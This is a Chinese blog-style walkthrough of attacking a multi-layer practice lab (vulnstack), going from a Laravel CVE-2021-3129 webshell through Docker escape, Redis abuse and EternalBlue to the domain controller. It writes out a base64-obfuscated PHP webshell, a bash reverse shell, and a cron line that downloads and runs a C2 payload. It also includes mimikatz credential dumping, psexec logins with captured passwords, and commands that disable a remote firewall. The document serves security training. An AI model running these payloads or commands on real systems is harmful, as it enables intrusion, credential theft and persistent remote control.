记一次进修从外到内的打法
r0cky 渗透测试 7253浏览 · 2021-09-09 15:30

环境配置

三层网络域渗透靶场

外网打点

首先拿到目标 pentest.com

直接访问发现站点是个博客站点

进一步发现并没有可利用点

信息收集

利用工具进行端口扫描

域名解析IP 10.20.29.87

发现还开放了81、6379端口

先访问81端口查看开放的是什么站点

http://pentest.com:81/ Laravel v8.29.0 (PHP v7.4.14)

通过版本可以得知是存在漏洞的版本

Laravel v8.29.0

Laravel RCE GetShell

Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129)

利用 CVE-2021-3129 漏洞进行getshell

蚁剑马
<?php $ant=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJhbnQiXSk7'));$ant();?>

利用写好的工具一键getshell

WebShell: http://pentest.com:81/havefun.php pass: ant

首先,判断当前环境及权限

从主机信息 Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64

可以看出一些特殊,判断是否是在容器中

  • 查看 hostname
  • 看根目录是否存在特征文件
  • cat /proc/self/cgroup
(www-data:/var/www/html) $ hostname
8e172820ac78

从而判断该目标存在docker容器中

Docker逃逸

可以利用Docker runC漏洞逃逸 攻击脚本: https://github.com/Frichetten/CVE-2019-5736-PoC

下面需要通过逃逸来获取宿主机的权限,当前用户权限较低

所有现在docker中尝试提权

通过命令来搜索具有SUID或4000权限的文件:

find / -perm -u=s -type f 2>/dev/null

在/home/jobs目录下,存在一个权限是我们需要的文件 shell

尝试执行shell

结合c文件来看,shell执行的应该是ps命令,从代码中也可以看出执行的ps,并没有使用绝对路径,那么就可以通过修改 $PATH 来劫持 ps 命令的路径,看下面操作:

路径劫持

先反弹shell到攻击机上

bash -c "bash -i >& /dev/tcp/10.20.29.77/8443 0>&1"
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
# 然后就获得了root权限,可以执行命令了

测试过程中反弹shell出现了问题,这里借助冰蝎的虚拟终端进行添加环境变量

(后面发现是环境的自动获取的IP问题,无法ping通外网,补充)

通过这种特殊情况获取到了容器中的 root 权限

但实际情况中,遇到的不多,使用下面利用普通权限反弹回msf,进一步docker逃逸

三种形式:

  1. 直接反弹msf
  2. 反弹回msf衍生到cs中
  3. 直接反弹cs中

这里直接利用 c2 完成linux上线cs

接着利用Docker 特权模式逃逸

首先创建一个挂载目录 /hack

mkdir /hack

然后 ls /dev 看到/dev目录会发现很多设备文件

接着可以尝试将 /dev/sda1 挂载到/hack目录

mount /dev/sda1 /hack

过程中出现权限问题

所以还是需要用上面提到的方式,获取到root权限,再反弹到cs上

root权限上线后,重复上述步骤进行挂载

挂载后,就可以看到 /hack 目录中已经挂载到宿主机的根目录

接下来就可以通过写定时任务来获取宿主机的权限

echo '* * * * * wget -qO c2fun --no-check-certificate http://[vps]:8080/c2pen; chmod +x c2fun; ./c2fun' >> /hack/var/spool/cron/crontabs/root

执行命令查看网卡信息

shell /sbin/ifconfig

Redis未授权RCE拿下DMZ权限

从网卡信息可以得到两个网段

192.168.80.20/24

192.168.93.10/24

并没有看到 10.20.29.87 这个地址,所以可能是使用了反向代理

在上面有收集到 10.20.29.87 这个ip还开放了 6379 端口,尝试redis未授权

存在未授权后直接写入公钥

直接连接

ssh root@10.20.29.87

反弹回CS

wget -qO c2fun --no-check-certificate http://[vps]:8080/c2pen; chmod +x c2fun; ./c2fun

通过网卡信息可以确定这台机器就是DMZ区的主机,并且获取到了root权限

通过查看配置文件,可以确定是通过反向代理访问到第二层机器的,接下来是对第二层内网渗透

内网横向移动

因为上线是CS,内网探测不方便,可以使用socket代理,或者借助msf进行内网网段探测

(本来是想将cs会话传递到msf上,但目标机器为linux在未找到派生方法)

直接通过无文件落地的方式进行反弹到msf

信息收集

查看两个session中对应的网段

192.168.80.0/24

192.168.93.0/24

这里先对第一个网段进行探测

route add 192.168.80.0 255.255.255.0 1
route print
use auxiliary/scanner/discovery/arp_sweep
set rhosts 192.168.80.0/24
set threads 10
run

10、20的权限已经拿到了,再看看30

这里使用earthworm将内网流量代理出来,因为第第二层网络能出网,所以选择代理第二层流量

vps执行

./ew_linux_x64 -s rcsocks -l 1080 -e 7474

目标主机(第二层的主机web2)

通过cs上传 ew_linux_x64

nohup ./ew_linux_x64 -s rssocks -d [vps] -e 7474 &

kali设置代理

vim /etc/proxychains.conf
proxychains nmap -sT -sV -Pn -F -O --open 192.168.80.30

发现开放的8080端口

给浏览器设置代理,访问页面

利用通达OA的任意用户登录+文件上传+文件包含漏洞进行RCE

内网OA getshell

https://blog.csdn.net/szgyunyun/article/details/107104288

直接使用脚本

可以执行命令,上传蚁剑马

拿下第二层权限

因为第二层可以出网,尝试利用蚁剑反弹meterpreter到msf(某些原因无法直接反弹)

目标为windows系统,直接上传木马执行,反弹cs

将CS session派生至MSF

利用MSF进行信息收集

内网信息收集

拿下第二层网络中的Windows 7服务器后,接下来我们对目标内网环境进行信息收集,对目标网络有一个初步的了解:

ipconfig /all   # 查看本机ip,所在域
systeminfo      # 列出系统信息
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
whoami
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享

net config workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators   # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "domain controllers" /domain  # 查看域控制器(可能有多台)

综合上面的信息

内网域环境域名为 whoamianony.org 域用户主机可能为 DC.whoamianony.org,且域管理员用户名可能为 Administrator

ping DC.whoamianony.org 得到域主机ip为 192.168.93.30

抓取域用户密码

通过 meterpreter 的kiwi模块进行获取用户密码

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

在执行的过程中可能会出现问题,如果返回的是 x86 的 meterpreter 而目标机器位 x64,这个时候需要将进程迁移到x64进程中

getuid 查看当前是否是最高权限

ps 看一下进程

migrate 504 进程迁移,迁移成功就能执行 kiwi 模块了

这是CS中的kiwi模块,效果相同

这下成功抓取到了域管理用户的信息如下:

bunny:Bunny2021
Administrator:Whoami2021
进攻第三层网络

之前获取到第三层网段为 192.168.93.0/24

这里我们借助 PC1 的session进行路由代理

route add 192.168.93.0 255.255.255.0 14
route print

尝试永恒之蓝进攻其他PC机

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 10
run

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 4444
exploit

直接拿下第四台机器 PC

最后剩下域控制器DC了

进攻域控

前面已经抓到域管理员用户名密码了,直接psexec登陆

Administrator:Whoami2021
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser Administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run

创建Session失败,可能是开了防火墙的原因,既然有了账号密码,可以直接

net use 命令进行 ipc 连接主机

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"

使用sc远程在域制器(192.168.93.30)上创建服务关闭防火墙

sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall

再重复psexec操作

成功拿下域控权限!

到此所有的目标靶机(5台)全部拿到最高权限。

扩展

在之前的步骤有用到CS,下面用CS单独操作拿域控的流程

目前已经拿下的3台机子

执行命令 beacon> net view 查看域机器

看到有个DC服务器

先转换凭据切换到域管理员凭据

再从存在的目标中,找到DC域管理机,因为之前获取到域管理员hash得到密码,所以直接利用psexec进行登录

上图中的监听器一个选择 windows/beacon/bind_tcp,不然无法进行横向

如果有防火阻断,就安装上面的操作使用net use来做,尝试关闭它的防火墙,然后再横向。

利用 PC1 这台机器去 psexec 拿下域控机器

利用同样的方法继续横向,通过域控主机控制域内的所以可控主机

至此五台主机全部拿下,加上一台docker

END

正在不断学习中......
靶场在这:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

2 条评论
某人
表情
可输入 255